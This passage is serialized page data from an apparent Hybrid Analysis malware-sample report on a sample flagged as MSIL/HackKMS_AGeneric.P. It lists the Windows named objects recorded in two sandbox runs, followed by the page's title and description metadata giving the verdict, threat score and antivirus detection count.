box","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8108:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3300:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6404:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7028:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5180:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5180:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5180:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5712:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5712:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5712:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5712:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7812:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7812:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7812:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7812:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2760:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2760:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2760:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2760:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7428:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7428:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1580:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1580:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1580:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1580:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7460:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6876:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6876:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6876:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:6876:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:6876:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"SM0:6876:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:7020:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4700:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:4700:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"SM0:4700:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7608:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:7608:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:948:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:5288:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"SM0:5288:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:948:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:5552:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:716:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:716:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7600:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:7600:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8392:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:1016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"SM0:1016:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:8392:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6448:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:6448:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1160:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:1160:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:6024:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3520:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:3520:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7952:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:7952:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9036:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:9036:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:5300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4140:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:4140:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:7852:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:8064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3904:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:3904:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:8464:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6160:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:6160:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1004:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:1004:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:1232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6956:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:6956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"SM0:6956:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6956:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:1892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1228:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1228:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:1228:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"SM0:1228:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2652:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:2652:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3312:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:3312:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:4200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9052:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"Local\\SM0:9052:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6284:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6324:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8800:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5932:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5932:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6088:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8744:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8744:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5684:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7844:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8448:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7820:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7820:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6880:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6736:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6736:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:9136:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2664:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7296:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8536:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8856:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8796:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8796:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7232:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2608:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2100:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2100:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7760:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5288:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5288:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1016:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1016:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7852:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}]}},"report_ids":{"sandbox_job_ids":["65a0721b81dc07259a012199","657e4486645c2408e50a8998"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious MSIL/HackKMS_AGeneric.P potentially unsafe application Sample a25083ef4328… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a25083ef4328…. Malware family: MSIL/HackKMS_AGeneric.P potentially unsafe application. Threat score 100/100. 9/25 AV engines flagged this file. 15 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5"}],["$","meta","4",{"property":"og:title","content":"Malicious MSIL/HackKMS_AGeneric.P potentially unsafe application Sample a25083ef4328… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a25083ef4328…. Malware family: MSIL/HackKMS_AGeneric.P potentially unsafe application. Threat score 100/100. 9/25 AV engines flagged this file. 15 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious MSIL/HackKMS_AGeneric.P potentially unsafe application Sample a25083ef4328… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a25083ef4328…. Malware family: MSIL/HackKMS_AGeneric.P potentially unsafe application. Threat score 100/100. 9/25 AV engines flagged this file. 15 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L89","11",{}]] 32:null